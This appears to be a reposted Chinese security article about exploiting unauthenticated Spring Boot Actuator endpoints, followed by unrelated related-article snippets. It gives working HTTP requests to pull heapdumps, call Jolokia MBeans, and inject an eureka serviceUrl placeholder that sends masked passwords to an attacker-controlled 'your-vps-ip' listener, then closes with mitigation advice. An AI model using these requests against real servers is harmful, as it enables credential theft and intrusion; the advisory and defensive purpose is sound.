可造成敏感信息泄露!Spring Boot之Actuator信息泄露漏洞三种利用方式总结

1.介绍

Spring Boot是一个基于Spring的套件,它提供了一个即开即用的应用程序架构,可以简化Spring应用的创建及部署流程,帮助开发者更轻松快捷地构建出企业及应用。

Spring Boot项目中Actuator模块提供了众多HTTP接口端点(Endpoint),来提供应用程序运行时的内部状态信息。可以使用http、jmx、ssh、telnet等来管理和监控应用。包括应用的审计(Auditing)、健康(health)状态信息、数据采集(metrics gathering)统计等监控运维的功能。如果没有正确使用Actuator,可能造成信息泄露等严重的安全隐患(外部人员非授权访问Actuator端点)。其中heapdump作为Actuator组件最为危险的Web端点,heapdump因未授权访问被恶意人员获取后进行分析,可进一步获取敏感信息。

Spring Boot 1.x 和 2.x 的 Actuator模块设置有差别,访问功能的路径也有差别,但现在多使用的Spring Boot版本为2.x

2.Actuator存在两个版本

1)x版本

/configprops#显示所有@ConfigurationProperties

/env#公开Spring的ConfigurableEnvironment

/health#显示应用程序运行状况信息

/httptrace#显示HTTP跟踪信息

/metrics#显示当前应用程序的监控指标信息

/mappings#显示所有@RequestMapping路径的整理列表

/threaddump#线程转储

/heapdump#堆转储

/jolokia#JMX-HTTP桥,它提供了一种访问JMXbeans的替代方法

2)x版本

/actuator/configprops # 显示所有@ConfigurationProperties

/actuator/env # 公开Spring的ConfigurableEnvironment

/actuator/health # 显示应用程序运行状况信息

/actuator/httptrace # 显示HTTP跟踪信息

/actuator/metrics # 显示当前应用程序的监控指标信息。

/actuator/mappings # 显示所有@RequestMapping路径的整理列表

/actuator/threaddump # 线程转储

/actuator/heapdump#堆转储

/actuator/jolokia#JMX-HTTP桥,它提供了一种访问JMXbeans的替代方法

3. /actuator/env利用

该端点可以返回全部环境变量以及一些配置信息,其中就包含了数据库配置信息。但是我们可以看到password被用*代替了,这时就要想办法读取该数据了,获取明文密码办法有以下四种。

方法一(heapdump)

利用条件:

可正常GET请求目标/heapdump或/actuator/heapdump接口

利用方法:

(1)下载heapdump

127.0.0.1:8088/actuator/heapdump 下载heapdump文件,泄露JAVA堆dump信息:

(2)heapdump文件解密

https://github.com/wyzxxz/heapdump_tool

查询密码 > password

获取ip > getip

获取url > geturl

获取文件路径 > getfile

方法二(jolokia)

利用条件:

目标网站存在/jolokia或/actuator/jolokia接口

目标使用了jolokia-core依赖(版本要求暂未知)

默认情况下actuator是没有jolokia接口的,所以需要再添加如下依赖

<dependency><groupId>org.jolokia</groupId> <artifactId>jolokia-core</artifactId> 
<version>1.7.0</version> 

利用方法:

  1. 首先访问/actuator/env接口,获取想要获得明文的属性名,然后通过jolokia调用相关Mbean获取明文。
  2. 然后访问http://ip:port/actuator/jolokia/list
    看一下目标环境中存在的MBean:

接下来就可以通过调用我们找到的MBean来获取我们感兴趣字段的明文了。

如果是1.x版本请求路径则为/jolokia

当前环境测试如下:

POST/actuator/jolokia 
Content-Type:application/json 
{"mbean":"org.springframework.boot:name=SpringApplication,type=Admin","operation":"getProperty","type":"EXEC","arguments":["security.user.password"]}
方法三(VPS)

利用条件

可以GET请求目标网站的/env

可以POST请求目标网站的/env

可以POST请求目标网站的/refresh接口刷新配置(存在spring-boot-starter-actuator依赖)

目标使用了spring-cloud-starter-netflix-eureka-client依赖

目标可以请求攻击者的服务器(请求可出外网)

这里需要注意的是,添加了spring-cloud-starter-netflix-eureka-client依赖后,启动项目可能会报一个如下错误:

移除了当前项目中的servlet依赖后报错消失。

还有一个问题就是如果使用的Spring Boot版本大于2.2.4,则必须使用下面的属性手动启用POST API调用

management.endpoint.env.post.enabled=true

否则不能通过POST访问env端点。

利用方法

1. 首先访问http://127.0.0.1:8080/actuator/env来获取我们想要明文字段的key

2. 在自己控制的外网服务器上监听80端口nc-lvk80

3. 将下面

[http://value: s e c u r i t y . u s e r . p a s s w o r d @ y o u r − v p s − i p ] ( h t t p : / / y o u r − v p s − i p " h t t p : / / v a l u e : {security.user.password}@your-vps-ip](http://your-vps-ip "http://value: security.user.password@yourvpsip](http://yourvpsip"http://value:{security.user.password}@your-vps-ip")
security.user.password换成自己想要获取的对应的星号*遮掩的属性名;
your-vps-ip换成自己外网服务器的真实ip地址

POST/actuator/env 
Content-Type:application/json 
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}

4. 刷新配置

POST/actuator/refresh 
Content-Type:application/json

5. 解码属性值接下来VPS会获得如下请求

GET/apps/HTTP/1.1 
Accept:application/json,application/*+json 
Authorization:BasicdmFsdWU6cm9vdA== 

Host:******

Connection:Keep-Alive 
User-Agent:Apache-HttpClient/4.5.13(Java/1.8.0_191)
Accept-Encoding:gzip,deflate

将Authorization字段进行base64解密后,得到的值就是value:password

方法四(VPS)

利用条件

通过POST/env设置属性触发目标对外网指定地址发起任意http请求

目标可以请求攻击者的服务器(请求可出外网)

利用方法

在目标发外部http请求的过程中,在urlpath中利用占位符带出数据。

  1. 首先访问http://127.0.0.1:8080/actuator/env来获取我们想要明文字段的key

2. 在自己控制的外网服务器上监听80端口:nc-lvk80

3. 构造如下数据包

POST/actuator/env
Content-Type:application/json{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}

4. 刷新配置

POST/actuator/refresh 
Content-Type:application/json

5. 查看VPS

接下来VPS就会收到请求:

Ncat:Connectionfrom****** 
GET/SecretKe/apps/HTTP/1.1 
Accept:application/json,application/*+json 
Host:****** 
Connection:Keep-Alive
User-Agent:Apache-HttpClient/4.5.13(Java/1.8.0_191)
Accept-Encoding:gzip,deflate

apps前面的路径就是我们需要的数据。

4.结语

Spring Boot使开发更加简单和高效,因此也得到了广泛的应用,这也导致了漏洞影响面的扩大,Spring Boot漏洞可造成以下危害:

1、未授权的访问者可以通过Actuator端点获取敏感信息,如数据库账户密码,代码及后台账号密码,攻击者可利用泄露信息进行进一步利用,并进行更深入的攻击。.

2、攻击者可以通过Actuator端点的未授权访问,执行恶意操作,如修改配置、篡改数据、重启应用程序、关闭数据库连接等,从而破坏应用程序的正常运行。

3、当系统使用Jolokia库特性可以远程执行任意代码,获取服务器权限。

网宿建议可能受影响的企业采取以下措施来缓解Spring Boot系列漏洞的影响:

**1、引入 security 依赖:**开启security功能,打开安全限制并进行身份验证;同时设置单独的 Actuator 管理端口并配置不对外网开放。

**2、禁用敏感端点:**根据实际需求,禁用或限制不需要的Actuator端点,避免将过多敏感信息暴露给未授权访问者

**3、加强日志和监控:**定期监控和审计Actuator端点的访问日志,及时发现异常访问,并采取适当的响应措施。

4、加强边界防护:引入WAF等边界防护手段,拦截针对Spring Boot漏洞的利用行为。

网宿全站防护-WAF模块已第一时间支持Spring Boot系列漏洞的防护,并持续挖掘分析其他变种攻击方式和各类组件漏洞,第一时间上线防护规则,缩短防护“空窗期”。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/63634.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

KV Shifting Attention Enhances Language Modeling

基本信息 &#x1f4dd; 原文链接: https://arxiv.org/abs/2411.19574&#x1f465; 作者: Mingyu Xu, Wei Cheng, Bingning Wang, Weipeng Chen&#x1f3f7;️ 关键词: KV shifting attention, induction heads, language modeling&#x1f4da; 分类: 机器学习, 自然语言处…

MongoDB-固定集合(Capped Collection)

在 MongoDB 中&#xff0c;固定集合&#xff08;Capped Collection&#xff09;是一种具有特殊属性的集合。固定集合具有一个固定的最大大小&#xff0c;并且一旦达到该大小时&#xff0c;最早插入的文档将会被自动删除&#xff0c;以便为新的文档腾出空间。固定集合的这种特性…

力扣 螺旋矩阵-54

螺旋矩阵-54 class Solution { public:vector<int> spiralOrder(vector<vector<int>>& matrix) {int m matrix.size(),n matrix[0].size();//数组的行列大小int top0,downm-1,left 0,right n-1;//分别为矩阵上下左右的边界int index 0;//存放结果数…

设计模式——单例模式和工厂模式

单例模式:一个类只创建一个类对象&#xff08;节省内存减少类对象数量,一个类对象多次重复使用&#xff09; 格式: class a: pass ba() z1b z2b #z1和z2为同一个类对象 工厂模式&#xff1a;&#xff08;大批量创建具体的类对象,统一类对象入口便于维护&#xf…

【el-dialog关闭前重置表单】

el-dialog关闭前重置表单 问题描述区别解释 问题描述 el-dialog的before-close能接收一个回调函数&#xff0c;在对话框关闭前执行需要的动作&#xff0c;例如我需要的是重置对话框中的表单。 如果只有一个对话框&#xff0c;或者说回调函数不需要额外参数&#xff0c;那么对话…

Unity教程(十九)战斗系统 受击反馈

Unity开发2D类银河恶魔城游戏学习笔记 Unity教程&#xff08;零&#xff09;Unity和VS的使用相关内容 Unity教程&#xff08;一&#xff09;开始学习状态机 Unity教程&#xff08;二&#xff09;角色移动的实现 Unity教程&#xff08;三&#xff09;角色跳跃的实现 Unity教程&…

从感知到认知:解读人工智能技术的核心突破

引言&#xff1a;感知与认知的人工智能之旅 人工智能的演进历程&#xff0c;就像人类的成长过程&#xff0c;从最初学会“看”“听”“感知”这个世界&#xff0c;到逐渐具备“理解”“推理”和“决策”的能力。这两个阶段——感知与认知&#xff0c;不仅是人工智能的技术核心&…

文生图模型开源之光!ComfyUI - AuraFlow本地部署教程

一、模型介绍 AuraFlow 是唯一一个真正开源的文生图模型&#xff0c;由Fal团队开源&#xff0c;其代码和权重都放在了 FOSS 许可证下。基于 6.8B 参数优化模型架构&#xff0c;采用最大更新参数化技术&#xff0c;还重新标注数据集提升指令遵循质量。在物体空间和色彩上有优势…

SpringMVC ——(1)

1.SpringMVC请求流程 1.1 SpringMVC请求处理流程分析 Spring MVC框架也是⼀个基于请求驱动的Web框架&#xff0c;并且使⽤了前端控制器模式&#xff08;是⽤来提供⼀个集中的请求处理机制&#xff0c;所有的请求都将由⼀个单⼀的处理程序处理来进⾏设计&#xff0c;再根据请求…

#HarmonyOS篇: 学习资料

学习课堂 https://developer.huawei.com/consumer/cn/training/ https://developer.huawei.com/consumer/cn/doc/start/training-introduction-0000001181392655 华为开发者指导手册 https://developer.huawei.com/consumer/cn/doc/start/guidebook-0000001056335559 博客…

Docker 安装 中文版 GitLab

Docker 安装系列 安装GitLab、解决服务器内存不足问题、使用域名/IP地址访问项目 1、拉取 [rootTseng ~]# docker pull twang2218/gitlab-ce-zh:latest latest: Pulling from twang2218/gitlab-ce-zh 8ee29e426c26: Pull complete 6e83b260b73b: Pull complete e26b65fd11…

python基于基于自然语言处理技术的话题文本分类

大家好我是君君学姐&#xff0c;混迹在java圈的辛苦码农。今天要和大家聊的是一款《python基于基于自然语言处理技术的话题文本分类》毕业设计项目。项目源码以及部署相关请联系君君学姐&#xff0c;文末附上联系信息 。 &#x1f388;作者&#xff1a;君君学姐&#x1f388; …

iOS如何操作更新推送证书

最近收到一份邮件,应该如何操作呢,证书还是跟以前一样冲钥匙串直接申请吗 Hello, As we announced in October, the Certification Authority (CA) for Apple Push Notification service (APNs) is changing. APNs will update the server certificates in sandbox on January…

ShardingSphere-JDBC

1. 什么是分库分表&#xff1f; 分库分表是一种数据库扩展技术&#xff0c;通过将数据拆分到多个数据库&#xff08;分库&#xff09;或多个表&#xff08;分表&#xff09;中来解决单一数据库或表带来的性能瓶颈。分库分表可以有效提升系统的可扩展性、性能和高并发处理能力&…

Scala的正则表达式二

验证用户名是否合法 规则 1.长度在6-12之间 2.不能数字开头 3.只能包含数字&#xff0c;大小写字母&#xff0c;下划线def main(args: Array[String]): Unit {val name1 "1admin"//不合法&#xff0c;是数字开头val name2 "admin123"//合法val name3 &quo…

谈谈web3

全面解析 Web3&#xff1a;未来互联网的革命性进程 引言&#xff1a;互联网进化的三部曲 互联网的发展经历了三个重要阶段&#xff0c;每一个阶段都深刻地改变了我们的生活方式&#xff1a; Web1&#xff08;1990-2005&#xff09;&#xff1a;静态互联网时代&#xff0c;人…

mysql高级篇 | 尚硅谷 | 第11章_数据库的设计规范

十一、数据库的设计规范 文章目录 十一、数据库的设计规范一、为什么需要数据库设计二、范式1、范式简介2、范式都包括哪些3、键和相关属性的概念4、第一范式(1st NF)5、第二范式(2nd NF)6、第三范式(3rd NF)7.小结 三、反范式化1、概述2、应用举例3、反范式的新问题4、反范式的…

【汽车】-- 发动机类型

汽车发动机根据不同的分类标准可以分为多种类型。以下是常见的发动机类型及其特点&#xff0c;并列举相应的品牌和车型举例&#xff1a; 1. 按燃料类型分类 (1) 汽油发动机 特点&#xff1a;使用汽油作为燃料&#xff0c;通过火花塞点火&#xff0c;转速高&#xff0c;运转平…

自然语言处理的未来愿景

自然语言处理的未来愿景 在这个信息爆炸的时代,计算机如何理解和生成我们日常使用的语言,已经成为一个引人注目的问题。你有没有想过,为什么智能助手能理解你的指令?又或者,为什么社交媒体上的推荐引擎能够精准地推荐你喜爱的内容?这背后,正是自然语言处理(NLP)在发挥…

【蓝桥杯每日一题】砍竹子

砍竹子 2024-12-7 蓝桥杯每日一题 砍竹子 STL 贪心 题目大意 这天, 小明在砍竹子, 他面前有 nn 棵竹子排成一排, 一开始第 ii 棵竹子的 高度为 h i h_i hi​. 他觉得一棵一棵砍太慢了, 决定使用魔法来砍竹子。魔法可以对连续的一 段相同高度的竹子使用, 假设这一段竹子的高度为…